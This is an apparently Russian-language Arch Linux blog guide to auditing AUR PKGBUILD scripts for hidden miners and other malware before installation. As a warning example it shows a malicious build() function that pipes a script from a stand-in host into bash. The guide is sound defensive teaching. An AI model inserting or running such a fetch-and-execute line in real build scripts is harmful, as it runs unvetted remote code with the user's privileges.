Все об Arch Linux
Arch Linux будет тем, что вы из него сделаете!
Все об Arch Linux
Arch Linux будет тем, что вы из него сделаете!
Сразу к делу: AUR опасен тем, что PKGBUILD там публикует любой желающий, а это обычный bash-скрипт, который makepkg выполняет от имени твоего пользователя. После инцидента 12 июня 2026 года, когда в AUR нашли пакеты с майнерами, проверка PKGBUILD перед установкой стала обязательной. Сверяй source и sha256sums, читай build() и package(), смотри .install и зависимости, а сборку запускай с makepkg –check. Ниже разбор каждого пункта.
В официальных репозиториях Arch пакеты собирают сопровождающие, исходники проверяют и подписывают. В AUR всё иначе: любой человек регистрируется и публикует PKGBUILD без проверки безопасности. Модераторы следят за оформлением и соответствием правилам, но не разбирают каждую строчку скрипта. Вредоносный код находят уже после того, как кто-то установил пакет.
PKGBUILD это не просто описание пакета. Это исполняемый скрипт. makepkg читает его и выполняет функции build() и package() от имени твоего пользователя, а скрипты .install запускаются от root. Чужой человек получает доступ ко всему, что лежит в домашнем каталоге: SSH-ключи, сохранённые пароли, данные браузера. О том, как устроен AUR и как ставить из него пакеты, читай в статье «Установка пакетов из AUR».
Инцидент 12 июня 2026 года показал, что это не теория. В AUR обнаружили несколько пакетов, которые при установке тихо ставили майнер криптовалюты. Пакеты выглядели как обычные утилиты, имели голоса и комментарии, но в PKGBUILD прятался вредоносный код. Разбор того случая и список затронутых пакетов есть в статье «Вредоносные AUR-пакеты 2026».
Чтобы знать, что искать, разбери типичные приёмы.
Вместо ссылки на официальный репозиторий проекта в source стоит адрес личного сервера или файлообменника. makepkg скачивает оттуда архив, внутри которого бинарник майнера. Глазами это не увидеть, пока не откроешь сам файл.
Классический приём: в функцию сборки прячут загрузку и запуск постороннего кода. Выглядит примерно так:
build() {
cd "$srcdir/$pkgname-$pkgver"
curl -s http://example.com/x.sh | bash
make
}
| Строка с curl и bash выполняет удалённый скрипт прямо во время сборки. Никакой компиляции тут нет, только загрузка чужого кода и его запуск. Любая команда вида curl | bash, wget с последующим запуском или загрузка файла с неизвестного адреса в build() и package() это красный флаг. |
Отдельная история это пакеты, которые маскируют майнер под легитимную нагрузку. Программа честно собирается и работает, но в фоне периодически запускает посторонний процесс. Такой код сложнее заметить при чтении PKGBUILD, потому что вредоносная часть спрятана в исходниках, а не в скрипте сборки. Здесь помогает только сравнение с апстримом: если исходники в AUR отличаются от официальных, разберись, чем именно.
sha256sums нужны, чтобы makepkg проверил: скачанный файл ровно тот, что задумал автор. Вредоносный PKGBUILD подгоняет сумму под вредоносный архив. Проверка проходит, потому что сумма честно соответствует тому, что скачается. Совпадение суммы ещё не гарантия безопасности: оно доказывает только то, что файл не подменили по дороге, а не то, что файл безопасен.
Перед установкой скачай PKGBUILD без сборки:
paru -G имя-пакета
yay -G имя-пакета
Или клонируй пакет с сайта AUR вручную. В скачанном каталоге лежат PKGBUILD, .SRCINFO и, возможно, дополнительные файлы вроде .install и патчей. Читай именно PKGBUILD, а не описание на сайте AUR: в описании автор рассказывает, что пакет должен делать, а в скрипте видно, что он делает на самом деле. Дальше проверяй по пунктам.
source должен указывать на официальный адрес проекта: GitHub, GitLab, сайт программы. Сверь домен с url из PKGBUILD. Если источник лежит на странном сервере, а в комментариях никто не объясняет почему, не ставь.
sha256sums должны быть заполнены для каждого файла из source. Значение SKIP допустимо для git-исходников, но для обычных архивов это повод насторожиться: makepkg не проверит, что скачалось. Сверить сумму вручную можно так:
sha256sum скачанный-файл
Сравни результат со значением из PKGBUILD. Не совпало, а автор не обновлял пакет? Возможно, файл на сервере заменили.
Открой адрес из переменной url. Проект должен существовать, а версия в PKGBUILD должна совпадать с последним релизом. Выдуманный url или страница-пустышка говорят о том, что пакет сделали наспех.
Прочитай обе функции целиком. В build() должна быть компиляция: configure, make, cmake, cargo build, pip install. В package() только копирование файлов в $pkgdir. Всё остальное подозрительно: curl, wget, загрузка архивов, изменение прав, запись в нестандартные каталоги.
Если в пакете есть файл .install, посмотри функции post_install и pre_remove. post_install выполняется от root при установке. systemctl enable для сервиса, который ставит сам пакет, ещё можно понять. А вот добавление задач в cron или правка /etc/hosts без причины это повод отказаться от пакета.
Посмотри зависимости. Пакет для скриншотов не должен тянуть библиотеки для криптографии, а простой конвертер не нуждается в сетевых модулях Python. Лишние зависимости часто маскируют вредоносную нагрузку. Разбор того, какие зависимости бывают лишними, есть в статье «Зависимости: опциональные и лишние».
Флаг –check запускает функцию check() из PKGBUILD, если она есть. В ней автор прописывает тесты: прогнать собранную программу, проверить, что она работает как ожидается. Если тесты не проходят, makepkg останавливает сборку. Это не защита от майнера напрямую, но лишний сигнал: пакет, который не проходит собственные тесты, собран криво.
Сборка в санитарном окружении:
makepkg --check --cleanbuild
Флаг –cleanbuild пересоздаёт каталог сборки с нуля, не оставляя мусора от прошлых попыток. Ещё надёжнее собирать в изолированном окружении: chroot или контейнер. Тогда вредоносный код не доберётся до домашнего каталога.
Обрати внимание и на флаг –nocheck: он отключает тесты. Если автор советует собирать именно с ним, спроси себя, почему тесты не проходят. В честных пакетах check() либо есть и работает, либо отсутствует вовсе.
Проверка нужна не только при первой установке. Пакет мог обновиться, и автор мог поменять что угодно. Хелперы вроде paru и yay показывают diff PKGBUILD перед сборкой. Не пропускай этот шаг. Сравнение хелперов и их настроек безопасности есть в статье «yay vs paru: какой AUR-хелпер безопаснее».
Если обновляешь вручную, сравни PKGBUILD с тем, что было раньше:
git diff PKGBUILD
Или сверь с апстримом: открой официальный PKGBUILD проекта, многие хранят его в репозитории, и сравни построчно. Отличия от апстрима должны быть объяснимы: правки под Arch, патчи, особенности сборки. Необъяснимые отличия это повод остановиться.
Особенно внимательным будь, если пакет долго не обновлялся, а тут вдруг вышла новая версия. Заброшенный пакет мог перейти к новому мейнтейнеру, и это нормально. Но проверь, кто этот мейнтейнер и что он поменял.
После установки проверь, что реально попало в систему:
pacman -Qkk имя-пакета
Команда сверяет файлы пакета с базой pacman и покажет изменённые или пропавшие файлы. А pacman -Qi покажет версию, зависимости и описание установленного пакета.
Три простых правила.
Первое: если пакет есть в официальном репозитории, ставь оттуда. Проверь поиском:
pacman -Ss имя-пакета
Официальные пакеты подписаны и проверены. AUR-версия нужна, только когда официальной нет.
Второе: не ставь -git варианты вслепую. Пакеты вида имя-git собирают код из ветки разработки, которая меняется каждый день. Ты не знаешь, что именно соберётся в момент установки. Для рабочей системы бери релизные версии.
Третье: следи за автором. Если пакет ведёт один человек и он же отвечает на комментарии, это хороший знак. Если пакет перешёл к новому мейнтейнеру, посмотри, что он поменял в PKGBUILD.
Четвёртое: держи систему в состоянии, из которого легко откатиться. Снапшоты btrfs или регулярные бэкапы не помешают майнеру попасть в систему, но позволят быстро вернуть всё назад, если что-то пойдёт не так.
Удали его: paru -Rns имя-пакета. Затем проверь процессы: htop покажет подозрительную нагрузку на CPU. Посмотри автозапуск: systemctl list-unit-files, crontab -l, содержимое ~/.config/autostart. Майнеры часто прячутся именно там. Если нашёл чужой процесс, сначала останови его: kill PID или systemctl stop имя-сервиса. Потом удали связанные файлы и смени пароли, которые могли утечь: SSH-ключи, пароли от браузера.
Нет. Для git-исходников SKIP нормален: содержимое репозитория меняется, и фиксированная сумма невозможна. Опасно, когда SKIP стоит для обычного архива с фиксированной версией. Тогда makepkg не проверяет скачанный файл вообще.
Хотя бы diff, да. На это уходит десять секунд. Хелпер покажет изменения перед сборкой, и ты увидишь, что автор добавил в build() или поменял source. Особенно внимательным будь после долгого перерыва в обновлениях.
Нет. Голоса говорят о популярности, а не о безопасности. Вредоносный пакет может набрать голоса до того, как его разоблачат. Но пакет с сотней голосов и свежими комментариями надёжнее, чем пакет без единого голоса, обновлённый три года назад.
Не ставь пакет. Сообщи о находке мейнтейнеру через комментарии на странице пакета и в список рассылки aur-general. Если пакет уже установлен у других, пометь его как вредоносный на сайте AUR. Быстрый чек-лист из десяти вопросов для проверки любого PKGBUILD есть в статье «Проверка PKGBUILD: 10 вопросов».
AUR удобен, но безопасность в нём держится только на твоей внимательности. Перед установкой сверь source и sha256sums, прочитай build() и package(), посмотри .install и зависимости. Собирай с makepkg –check в чистом окружении, а при обновлениях просматривай diff. Если пакет есть в официальном репозитории, ставь его оттуда, а -git варианты оставь для экспериментов. Тогда AUR останется инструментом, а не источником майнера.
Задай вопрос в чате — отвечаем быстро, по делу и без воды.
Комментарии